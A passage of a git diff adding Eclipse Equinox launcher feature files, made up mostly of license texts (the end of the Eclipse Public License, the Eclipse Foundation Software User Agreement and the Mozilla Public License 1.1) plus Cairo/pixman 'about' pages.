    For example, a Contributor might include the Program in a commercial +product offering, Product X. That Contributor is then a Commercial +Contributor. If that Commercial Contributor then makes performance +claims, or offers warranties related to Product X, those performance +claims and warranties are such Commercial Contributor's responsibility +alone. Under this section, the Commercial Contributor would have to +defend claims against the other Contributors related to those +performance claims and warranties, and if a court requires any other +Contributor to pay any damages as a result, the Commercial Contributor +must pay those damages.

    + +

    5. NO WARRANTY

    + +

    EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE PROGRAM IS +PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS +OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, +ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY +OR FITNESS FOR A PARTICULAR PURPOSE. Each Recipient is solely +responsible for determining the appropriateness of using and +distributing the Program and assumes all risks associated with its +exercise of rights under this Agreement , including but not limited to +the risks and costs of program errors, compliance with applicable laws, +damage to or loss of data, programs or equipment, and unavailability or +interruption of operations.

    + +

    6. DISCLAIMER OF LIABILITY

    + +

    EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, NEITHER RECIPIENT +NOR ANY CONTRIBUTORS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING +WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OR +DISTRIBUTION OF THE PROGRAM OR THE EXERCISE OF ANY RIGHTS GRANTED +HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

    + +

    7. GENERAL

    + +

    If any provision of this Agreement is invalid or unenforceable under +applicable law, it shall not affect the validity or enforceability of +the remainder of the terms of this Agreement, and without further action +by the parties hereto, such provision shall be reformed to the minimum +extent necessary to make such provision valid and enforceable.

    + +

    If Recipient institutes patent litigation against any entity +(including a cross-claim or counterclaim in a lawsuit) alleging that the +Program itself (excluding combinations of the Program with other +software or hardware) infringes such Recipient's patent(s), then such +Recipient's rights granted under Section 2(b) shall terminate as of the +date such litigation is filed.

    + +

    All Recipient's rights under this Agreement shall terminate if it +fails to comply with any of the material terms or conditions of this +Agreement and does not cure such failure in a reasonable period of time +after becoming aware of such noncompliance. If all Recipient's rights +under this Agreement terminate, Recipient agrees to cease use and +distribution of the Program as soon as reasonably practicable. However, +Recipient's obligations under this Agreement and any licenses granted by +Recipient relating to the Program shall continue and survive.

    + +

    Everyone is permitted to copy and distribute copies of this +Agreement, but in order to avoid inconsistency the Agreement is +copyrighted and may only be modified in the following manner. The +Agreement Steward reserves the right to publish new versions (including +revisions) of this Agreement from time to time. No one other than the +Agreement Steward has the right to modify this Agreement. The Eclipse +Foundation is the initial Agreement Steward. The Eclipse Foundation may +assign the responsibility to serve as the Agreement Steward to a +suitable separate entity. Each new version of the Agreement will be +given a distinguishing version number. The Program (including +Contributions) may always be distributed subject to the version of the +Agreement under which it was received. In addition, after a new version +of the Agreement is published, Contributor may elect to distribute the +Program (including its Contributions) under the new version. Except as +expressly stated in Sections 2(a) and 2(b) above, Recipient receives no +rights or licenses to the intellectual property of any Contributor under +this Agreement, whether expressly, by implication, estoppel or +otherwise. All rights in the Program not expressly granted under this +Agreement are reserved.

    + +

    This Agreement is governed by the laws of the State of New York and +the intellectual property laws of the United States of America. No party +to this Agreement will bring a legal action under this Agreement more +than one year after the cause of action arose. Each party waives its +rights to a jury trial in any resulting litigation.

    + + + + diff --git a/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/feature.properties b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/feature.properties new file mode 100755 index 0000000..06112f9 --- /dev/null +++ b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/feature.properties @@ -0,0 +1,183 @@ +############################################################################### +# Copyright (c) 2000, 2011 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +# feature.properties +# contains externalized strings for feature.xml +# "%foo" in feature.xml corresponds to the key "foo" in this file +# java.io.Properties file (ISO 8859-1 with "\" escapes) +# This file should be translated. + +# "featureName" property - name of the feature +featureName=Eclipse Platform Launchers + +# "providerName" property - name of the company that provides the feature +providerName=Eclipse.org + +# "description" property - description of the feature +description=Platform specific launchers. +############################################################################### +# Copyright (c) 2000, 2010 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +# feature.properties +# contains externalized strings for feature.xml +# "%foo" in feature.xml corresponds to the key "foo" in this file +# java.io.Properties file (ISO 8859-1 with "\" escapes) +# This file should be translated. + +# "featureName" property - name of the feature + +# "providerName" property - name of the company that provides the feature + +# "updateSiteName" property - label for the update site + +# "description" property - description of the feature + +# "copyright" property - text of the "Feature Update Copyright" + +################ end of copyright property #################################### + +# "licenseURL" property - URL of the "Feature License" +# do not translate value - just change to point to a locale-specific HTML page +licenseURL=license.html + +# "license" property - text of the "Feature Update License" +# should be plain text version of license agreement pointed to be "licenseURL" +license=\ +Eclipse Foundation Software User Agreement\n\ +February 1, 2011\n\ +\n\ +Usage Of Content\n\ +\n\ +THE ECLIPSE FOUNDATION MAKES AVAILABLE SOFTWARE, DOCUMENTATION, INFORMATION AND/OR\n\ +OTHER MATERIALS FOR OPEN SOURCE PROJECTS (COLLECTIVELY "CONTENT").\n\ +USE OF THE CONTENT IS GOVERNED BY THE TERMS AND CONDITIONS OF THIS\n\ +AGREEMENT AND/OR THE TERMS AND CONDITIONS OF LICENSE AGREEMENTS OR\n\ +NOTICES INDICATED OR REFERENCED BELOW. BY USING THE CONTENT, YOU\n\ +AGREE THAT YOUR USE OF THE CONTENT IS GOVERNED BY THIS AGREEMENT\n\ +AND/OR THE TERMS AND CONDITIONS OF ANY APPLICABLE LICENSE AGREEMENTS\n\ +OR NOTICES INDICATED OR REFERENCED BELOW. IF YOU DO NOT AGREE TO THE\n\ +TERMS AND CONDITIONS OF THIS AGREEMENT AND THE TERMS AND CONDITIONS\n\ +OF ANY APPLICABLE LICENSE AGREEMENTS OR NOTICES INDICATED OR REFERENCED\n\ +BELOW, THEN YOU MAY NOT USE THE CONTENT.\n\ +\n\ +Applicable Licenses\n\ +\n\ +Unless otherwise indicated, all Content made available by the\n\ +Eclipse Foundation is provided to you under the terms and conditions of\n\ +the Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is\n\ +provided with this Content and is also available at http://www.eclipse.org/legal/epl-v10.html.\n\ +For purposes of the EPL, "Program" will mean the Content.\n\ +\n\ +Content includes, but is not limited to, source code, object code,\n\ +documentation and other files maintained in the Eclipse Foundation source code\n\ +repository ("Repository") in software modules ("Modules") and made available\n\ +as downloadable archives ("Downloads").\n\ +\n\ + - Content may be structured and packaged into modules to facilitate delivering,\n\ + extending, and upgrading the Content. Typical modules may include plug-ins ("Plug-ins"),\n\ + plug-in fragments ("Fragments"), and features ("Features").\n\ + - Each Plug-in or Fragment may be packaged as a sub-directory or JAR (Java(TM) ARchive)\n\ + in a directory named "plugins".\n\ + - A Feature is a bundle of one or more Plug-ins and/or Fragments and associated material.\n\ + Each Feature may be packaged as a sub-directory in a directory named "features".\n\ + Within a Feature, files named "feature.xml" may contain a list of the names and version\n\ + numbers of the Plug-ins and/or Fragments associated with that Feature.\n\ + - Features may also include other Features ("Included Features"). Within a Feature, files\n\ + named "feature.xml" may contain a list of the names and version numbers of Included Features.\n\ +\n\ +The terms and conditions governing Plug-ins and Fragments should be\n\ +contained in files named "about.html" ("Abouts"). The terms and\n\ +conditions governing Features and Included Features should be contained\n\ +in files named "license.html" ("Feature Licenses"). Abouts and Feature\n\ +Licenses may be located in any directory of a Download or Module\n\ +including, but not limited to the following locations:\n\ +\n\ + - The top-level (root) directory\n\ + - Plug-in and Fragment directories\n\ + - Inside Plug-ins and Fragments packaged as JARs\n\ + - Sub-directories of the directory named "src" of certain Plug-ins\n\ + - Feature directories\n\ +\n\ +Note: if a Feature made available by the Eclipse Foundation is installed using the\n\ +Provisioning Technology (as defined below), you must agree to a license ("Feature \n\ +Update License") during the installation process. If the Feature contains\n\ +Included Features, the Feature Update License should either provide you\n\ +with the terms and conditions governing the Included Features or inform\n\ +you where you can locate them. Feature Update Licenses may be found in\n\ +the "license" property of files named "feature.properties" found within a Feature.\n\ +Such Abouts, Feature Licenses, and Feature Update Licenses contain the\n\ +terms and conditions (or references to such terms and conditions) that\n\ +govern your use of the associated Content in that directory.\n\ +\n\ +THE ABOUTS, FEATURE LICENSES, AND FEATURE UPDATE LICENSES MAY REFER\n\ +TO THE EPL OR OTHER LICENSE AGREEMENTS, NOTICES OR TERMS AND CONDITIONS.\n\ +SOME OF THESE OTHER LICENSE AGREEMENTS MAY INCLUDE (BUT ARE NOT LIMITED TO):\n\ +\n\ + - Eclipse Distribution License Version 1.0 (available at http://www.eclipse.org/licenses/edl-v1.0.html)\n\ + - Common Public License Version 1.0 (available at http://www.eclipse.org/legal/cpl-v10.html)\n\ + - Apache Software License 1.1 (available at http://www.apache.org/licenses/LICENSE)\n\ + - Apache Software License 2.0 (available at http://www.apache.org/licenses/LICENSE-2.0)\n\ + - Metro Link Public License 1.00 (available at http://www.opengroup.org/openmotif/supporters/metrolink/license.html)\n\ + - Mozilla Public License Version 1.1 (available at http://www.mozilla.org/MPL/MPL-1.1.html)\n\ +\n\ +IT IS YOUR OBLIGATION TO READ AND ACCEPT ALL SUCH TERMS AND CONDITIONS PRIOR\n\ +TO USE OF THE CONTENT. If no About, Feature License, or Feature Update License\n\ +is provided, please contact the Eclipse Foundation to determine what terms and conditions\n\ +govern that particular Content.\n\ +\n\ +\n\Use of Provisioning Technology\n\ +\n\ +The Eclipse Foundation makes available provisioning software, examples of which include,\n\ +but are not limited to, p2 and the Eclipse Update Manager ("Provisioning Technology") for\n\ +the purpose of allowing users to install software, documentation, information and/or\n\ +other materials (collectively "Installable Software"). This capability is provided with\n\ +the intent of allowing such users to install, extend and update Eclipse-based products.\n\ +Information about packaging Installable Software is available at\n\ +http://eclipse.org/equinox/p2/repository_packaging.html ("Specification").\n\ +\n\ +You may use Provisioning Technology to allow other parties to install Installable Software.\n\ +You shall be responsible for enabling the applicable license agreements relating to the\n\ +Installable Software to be presented to, and accepted by, the users of the Provisioning Technology\n\ +in accordance with the Specification. By using Provisioning Technology in such a manner and\n\ +making it available in accordance with the Specification, you further acknowledge your\n\ +agreement to, and the acquisition of all necessary rights to permit the following:\n\ +\n\ + 1. A series of actions may occur ("Provisioning Process") in which a user may execute\n\ + the Provisioning Technology on a machine ("Target Machine") with the intent of installing,\n\ + extending or updating the functionality of an Eclipse-based product.\n\ + 2. During the Provisioning Process, the Provisioning Technology may cause third party\n\ + Installable Software or a portion thereof to be accessed and copied to the Target Machine.\n\ + 3. Pursuant to the Specification, you will provide to the user the terms and conditions that\n\ + govern the use of the Installable Software ("Installable Software Agreement") and such\n\ + Installable Software Agreement shall be accessed from the Target Machine in accordance\n\ + with the Specification. Such Installable Software Agreement must inform the user of the\n\ + terms and conditions that govern the Installable Software and must solicit acceptance by\n\ + the end user in the manner prescribed in such Installable Software Agreement. Upon such\n\ + indication of agreement by the user, the provisioning Technology will complete installation\n\ + of the Installable Software.\n\ +\n\ +Cryptography\n\ +\n\ +Content may contain encryption software. The country in which you are\n\ +currently may have restrictions on the import, possession, and use,\n\ +and/or re-export to another country, of encryption software. BEFORE\n\ +using any encryption software, please check the country's laws,\n\ +regulations and policies concerning the import, possession, or use, and\n\ +re-export of encryption software, to see if this is permitted.\n\ +\n\ +Java and all Java-based trademarks are trademarks of Oracle Corporation in the United States, other countries, or both.\n +########### end of license property ########################################## diff --git a/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/feature.xml b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/feature.xml new file mode 100755 index 0000000..062714b --- /dev/null +++ b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/feature.xml @@ -0,0 +1,253 @@ + + + + + %description + + + + %license + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/gtk_root/about.html b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/gtk_root/about.html new file mode 100755 index 0000000..ebffd99 --- /dev/null +++ b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/gtk_root/about.html @@ -0,0 +1,20 @@ + + + +About + + + +

    About This Content

    + +

    February 22, 2006

    +

    License

    + +

    This directory contains third-party libraries that are required by the Eclipse launcher. Refer below for further information.

    + +

    Cairo for Linux

    + +

    Refer to the file about_cairo.html for licensing details about "Cairo for Linux".

    + + + diff --git a/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/gtk_root/about_files/about_cairo.html b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/gtk_root/about_files/about_cairo.html new file mode 100755 index 0000000..0132307 --- /dev/null +++ b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/gtk_root/about_files/about_cairo.html @@ -0,0 +1,48 @@ + + + +About + + + +

    About This Content

    + +

    March 27, 2006

    +

    License

    + +

    The Eclipse Foundation has included the following package for your convenience:

    + +

    Cairo 1.0.2 for Linux

    + +

    Cairo for Linux ("Cairo") is developed by The Cairo Project (http://www.cairographics.org):

    + +

    Cairo is delivered in the following file ("Cairo Library"):

    +
      +
    • libcairo-swt.so
    • +
    + +

    which was compiled from Cairo source code available at http://www.cairographics.org/snapshots.

    + +

    Your use of the Cairo code in binary form is subject to +the terms and conditions of Mozilla Public License Version 1.1 ("MPL"). A copy of the MPL is provided (mpl-v11.txt) +and is also available at http://www.mozilla.org/MPL/MPL-1.1.html. + +

    pixman 0.1.6

    + +

    pixman ("pixman") is packaged within the Cairo Library and was compiled from source code available at +http://www.cairographics.org/snapshots. +pixman includes the following packages:

    + +
      +
    • libpixregion
    • +
    • libic
    • +
    • slim
    • +
    + +Your use of pixman is subject to the terms and conditions of the licenses in pixman-licenses.txt.

    + +

    If you did not receive the Cairo Library directly from the Eclipse Foundation, the package is being redistributed by another party ("Redistributor") and different terms and conditions may +apply its use. Check the Redistributor's license that was provided with the content. If no such license exists, contact the Redistributor.

    + + + \ No newline at end of file diff --git a/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/gtk_root/about_files/mpl-v11.txt b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/gtk_root/about_files/mpl-v11.txt new file mode 100755 index 0000000..7714141 --- /dev/null +++ b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/gtk_root/about_files/mpl-v11.txt @@ -0,0 +1,470 @@ + MOZILLA PUBLIC LICENSE + Version 1.1 + + --------------- + +1. Definitions. + + 1.0.1. "Commercial Use" means distribution or otherwise making the + Covered Code available to a third party. + + 1.1. "Contributor" means each entity that creates or contributes to + the creation of Modifications. + + 1.2. "Contributor Version" means the combination of the Original + Code, prior Modifications used by a Contributor, and the Modifications + made by that particular Contributor. + + 1.3. "Covered Code" means the Original Code or Modifications or the + combination of the Original Code and Modifications, in each case + including portions thereof. + + 1.4. "Electronic Distribution Mechanism" means a mechanism generally + accepted in the software development community for the electronic + transfer of data. + + 1.5. "Executable" means Covered Code in any form other than Source + Code. + + 1.6. "Initial Developer" means the individual or entity identified + as the Initial Developer in the Source Code notice required by Exhibit + A. + + 1.7. "Larger Work" means a work which combines Covered Code or + portions thereof with code not governed by the terms of this License. + + 1.8. "License" means this document. + + 1.8.1. "Licensable" means having the right to grant, to the maximum + extent possible, whether at the time of the initial grant or + subsequently acquired, any and all of the rights conveyed herein. + + 1.9. "Modifications" means any addition to or deletion from the + substance or structure of either the Original Code or any previous + Modifications. When Covered Code is released as a series of files, a + Modification is: + A. Any addition to or deletion from the contents of a file + containing Original Code or previous Modifications. + + B. Any new file that contains any part of the Original Code or + previous Modifications. + + 1.10. "Original Code" means Source Code of computer software code + which is described in the Source Code notice required by Exhibit A as + Original Code, and which, at the time of its release under this + License is not already Covered Code governed by this License. + + 1.10.1. "Patent Claims" means any patent claim(s), now owned or + hereafter acquired, including without limitation, method, process, + and apparatus claims, in any patent Licensable by grantor. + + 1.11. "Source Code" means the preferred form of the Covered Code for + making modifications to it, including all modules it contains, plus + any associated interface definition files, scripts used to control + compilation and installation of an Executable, or source code + differential comparisons against either the Original Code or another + well known, available Covered Code of the Contributor's choice. The + Source Code can be in a compressed or archival form, provided the + appropriate decompression or de-archiving software is widely available + for no charge. + + 1.12. "You" (or "Your") means an individual or a legal entity + exercising rights under, and complying with all of the terms of, this + License or a future version of this License issued under Section 6.1. + For legal entities, "You" includes any entity which controls, is + controlled by, or is under common control with You. For purposes of + this definition, "control" means (a) the power, direct or indirect, + to cause the direction or management of such entity, whether by + contract or otherwise, or (b) ownership of more than fifty percent + (50%) of the outstanding shares or beneficial ownership of such + entity. + +2. Source Code License. + + 2.1. The Initial Developer Grant. + The Initial Developer hereby grants You a world-wide, royalty-free, + non-exclusive license, subject to third party intellectual property + claims: + (a) under intellectual property rights (other than patent or + trademark) Licensable by Initial Developer to use, reproduce, + modify, display, perform, sublicense and distribute the Original + Code (or portions thereof) with or without Modifications, and/or + as part of a Larger Work; and + + (b) under Patents Claims infringed by the making, using or + selling of Original Code, to make, have made, use, practice, + sell, and offer for sale, and/or otherwise dispose of the + Original Code (or portions thereof). + + (c) the licenses granted in this Section 2.1(a) and (b) are + effective on the date Initial Developer first distributes + Original Code under the terms of this License. + + (d) Notwithstanding Section 2.1(b) above, no patent license is + granted: 1) for code that You delete from the Original Code; 2) + separate from the Original Code; or 3) for infringements caused + by: i) the modification of the Original Code or ii) the + combination of the Original Code with other software or devices. + + 2.2. Contributor Grant. + Subject to third party intellectual property claims, each Contributor + hereby grants You a world-wide, royalty-free, non-exclusive license + + (a) under intellectual property rights (other than patent or + trademark) Licensable by Contributor, to use, reproduce, modify, + display, perform, sublicense and distribute the Modifications + created by such Contributor (or portions thereof) either on an + unmodified basis, with other Modifications, as Covered Code + and/or as part of a Larger Work; and + + (b) under Patent Claims infringed by the making, using, or + selling of Modifications made by that Contributor either alone + and/or in combination with its Contributor Version (or portions + of such combination), to make, use, sell, offer for sale, have + made, and/or otherwise dispose of: 1) Modifications made by that + Contributor (or portions thereof); and 2) the combination of + Modifications made by that Contributor with its Contributor + Version (or portions of such combination). + + (c) the licenses granted in Sections 2.2(a) and 2.2(b) are + effective on the date Contributor first makes Commercial Use of + the Covered Code. + + (d) Notwithstanding Section 2.2(b) above, no patent license is + granted: 1) for any code that Contributor has deleted from the + Contributor Version; 2) separate from the Contributor Version; + 3) for infringements caused by: i) third party modifications of + Contributor Version or ii) the combination of Modifications made + by that Contributor with other software (except as part of the + Contributor Version) or other devices; or 4) under Patent Claims + infringed by Covered Code in the absence of Modifications made by + that Contributor. + +3. Distribution Obligations. + + 3.1. Application of License. + The Modifications which You create or to which You contribute are + governed by the terms of this License, including without limitation + Section 2.2. The Source Code version of Covered Code may be + distributed only under the terms of this License or a future version + of this License released under Section 6.1, and You must include a + copy of this License with every copy of the Source Code You + distribute. You may not offer or impose any terms on any Source Code + version that alters or restricts the applicable version of this + License or the recipients' rights hereunder. However, You may include + an additional document offering the additional rights described in + Section 3.5. + + 3.2. Availability of Source Code. + Any Modification which You create or to which You contribute must be + made available in Source Code form under the terms of this License + either on the same media as an Executable version or via an accepted + Electronic Distribution Mechanism to anyone to whom you made an + Executable version available; and if made available via Electronic + Distribution Mechanism, must remain available for at least twelve (12) + months after the date it initially became available, or at least six + (6) months after a subsequent version of that particular Modification + has been made available to such recipients. You are responsible for + ensuring that the Source Code version remains available even if the + Electronic Distribution Mechanism is maintained by a third party. + + 3.3. Description of Modifications. + You must cause all Covered Code to which You contribute to contain a + file documenting the changes You made to create that Covered Code and + the date of any change. You must include a prominent statement that + the Modification is derived, directly or indirectly, from Original + Code provided by the Initial Developer and including the name of the + Initial Developer in (a) the Source Code, and (b) in any notice in an + Executable version or related documentation in which You describe the + origin or ownership of the Covered Code. + + 3.4. Intellectual Property Matters + (a) Third Party Claims. + If Contributor has knowledge that a license under a third party's + intellectual property rights is required to exercise the rights + granted by such Contributor under Sections 2.1 or 2.2, + Contributor must include a text file with the Source Code + distribution titled "LEGAL" which describes the claim and the + party making the claim in sufficient detail that a recipient will + know whom to contact. If Contributor obtains such knowledge after + the Modification is made available as described in Section 3.2, + Contributor shall promptly modify the LEGAL file in all copies + Contributor makes available thereafter and shall take other steps + (such as notifying appropriate mailing lists or newsgroups) + reasonably calculated to inform those who received the Covered + Code that new knowledge has been obtained. + + (b) Contributor APIs. + If Contributor's Modifications include an application programming + interface and Contributor has knowledge of patent licenses which + are reasonably necessary to implement that API, Contributor must + also include this information in the LEGAL file. + + (c) Representations. + Contributor represents that, except as disclosed pursuant to + Section 3.4(a) above, Contributor believes that Contributor's + Modifications are Contributor's original creation(s) and/or + Contributor has sufficient rights to grant the rights conveyed by + this License. + + 3.5. Required Notices. + You must duplicate the notice in Exhibit A in each file of the Source + Code. If it is not possible to put such notice in a particular Source + Code file due to its structure, then You must include such notice in a + location (such as a relevant directory) where a user would be likely + to look for such a notice. If You created one or more Modification(s) + You may add your name as a Contributor to the notice described in + Exhibit A. You must also duplicate this License in any documentation + for the Source Code where You describe recipients' rights or ownership + rights relating to Covered Code. You may choose to offer, and to + charge a fee for, warranty, support, indemnity or liability + obligations to one or more recipients of Covered Code. However, You + may do so only on Your own behalf, and not on behalf of the Initial + Developer or any Contributor. You must make it absolutely clear than + any such warranty, support, indemnity or liability obligation is + offered by You alone, and You hereby agree to indemnify the Initial + Developer and every Contributor for any liability incurred by the + Initial Developer or such Contributor as a result of warranty, + support, indemnity or liability terms You offer. + + 3.6. Distribution of Executable Versions. + You may distribute Covered Code in Executable form only if the + requirements of Section 3.1-3.5 have been met for that Covered Code, + and if You include a notice stating that the Source Code version of + the Covered Code is available under the terms of this License, + including a description of how and where You have fulfilled the + obligations of Section 3.2. The notice must be conspicuously included + in any notice in an Executable version, related documentation or + collateral in which You describe recipients' rights relating to the + Covered Code. You may distribute the Executable version of Covered + Code or ownership rights under a license of Your choice, which may + contain terms different from this License, provided that You are in + compliance with the terms of this License and that the license for the + Executable version does not attempt to limit or alter the recipient's + rights in the Source Code version from the rights set forth in this + License. If You distribute the Executable version under a different + license You must make it absolutely clear that any terms which differ + from this License are offered by You alone, not by the Initial + Developer or any Contributor. You hereby agree to indemnify the + Initial Developer and every Contributor for any liability incurred by + the Initial Developer or such Contributor as a result of any such + terms You offer. + + 3.7. Larger Works. + You may create a Larger Work by combining Covered Code with other code + not governed by the terms of this License and distribute the Larger + Work as a single product. In such a case, You must make sure the + requirements of this License are fulfilled for the Covered Code. + +4. Inability to Comply Due to Statute or Regulation. + + If it is impossible for You to comply with any of the terms of this + License with respect to some or all of the Covered Code due to + statute, judicial order, or regulation then You must: (a) comply with + the terms of this License to the maximum extent possible; and (b) + describe the limitations and the code they affect. Such description + must be included in the LEGAL file described in Section 3.4 and must + be included with all distributions of the Source Code. Except to the + extent prohibited by statute or regulation, such description must be + sufficiently detailed for a recipient of ordinary skill to be able to + understand it. + +5. Application of this License. + + This License applies to code to which the Initial Developer has + attached the notice in Exhibit A and to related Covered Code. + +6. Versions of the License. + + 6.1. New Versions. + Netscape Communications Corporation ("Netscape") may publish revised + and/or new versions of the License from time to time. Each version + will be given a distinguishing version number. + + 6.2. Effect of New Versions. + Once Covered Code has been published under a particular version of the + License, You may always continue to use it under the terms of that + version. You may also choose to use such Covered Code under the terms + of any subsequent version of the License published by Netscape. No one + other than Netscape has the right to modify the terms applicable to + Covered Code created under this License. + + 6.3. Derivative Works. + If You create or use a modified version of this License (which you may + only do in order to apply it to code which is not already Covered Code + governed by this License), You must (a) rename Your license so that + the phrases "Mozilla", "MOZILLAPL", "MOZPL", "Netscape", + "MPL", "NPL" or any confusingly similar phrase do not appear in your + license (except to note that your license differs from this License) + and (b) otherwise make it clear that Your version of the license + contains terms which differ from the Mozilla Public License and + Netscape Public License. (Filling in the name of the Initial + Developer, Original Code or Contributor in the notice described in + Exhibit A shall not of themselves be deemed to be modifications of + this License.) + +7. DISCLAIMER OF WARRANTY. + + COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, + WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, + WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF + DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. + THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE + IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, + YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE + COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER + OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF + ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER. + +8. TERMINATION. + + 8.1. This License and the rights granted hereunder will terminate + automatically if You fail to comply with terms herein and fail to cure + such breach within 30 days of becoming aware of the breach. All + sublicenses to the Covered Code which are properly granted shall + survive any termination of this License. Provisions which, by their + nature, must remain in effect beyond the termination of this License + shall survive. + + 8.2. If You initiate litigation by asserting a patent infringement + claim (excluding declatory judgment actions) against Initial Developer + or a Contributor (the Initial Developer or Contributor against whom + You file such action is referred to as "Participant") alleging that: + + (a) such Participant's Contributor Version directly or indirectly + infringes any patent, then any and all rights granted by such + Participant to You under Sections 2.1 and/or 2.2 of this License + shall, upon 60 days notice from Participant terminate prospectively, + unless if within 60 days after receipt of notice You either: (i) + agree in writing to pay Participant a mutually agreeable reasonable + royalty for Your past and future use of Modifications made by such + Participant, or (ii) withdraw Your litigation claim with respect to + the Contributor Version against such Participant. If within 60 days + of notice, a reasonable royalty and payment arrangement are not + mutually agreed upon in writing by the parties or the litigation claim + is not withdrawn, the rights granted by Participant to You under + Sections 2.1 and/or 2.2 automatically terminate at the expiration of + the 60 day notice period specified above. + + (b) any software, hardware, or device, other than such Participant's + Contributor Version, directly or indirectly infringes any patent, then + any rights granted to You by such Participant under Sections 2.1(b) + and 2.2(b) are revoked effective as of the date You first made, used, + sold, distributed, or had made, Modifications made by that + Participant. + + 8.3. If You assert a patent infringement claim against Participant + alleging that such Participant's Contributor Version directly or + indirectly infringes any patent where such claim is resolved (such as + by license or settlement) prior to the initiation of patent + infringement litigation, then the reasonable value of the licenses + granted by such Participant under Sections 2.1 or 2.2 shall be taken + into account in determining the amount or value of any payment or + license. + + 8.4. In the event of termination under Sections 8.1 or 8.2 above, + all end user license agreements (excluding distributors and resellers) + which have been validly granted by You or any distributor hereunder + prior to termination shall survive termination. + +9. LIMITATION OF LIABILITY. + + UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT + (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL + DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE, + OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR + ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY + CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, + WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER + COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN + INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF + LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY + RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW + PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE + EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO + 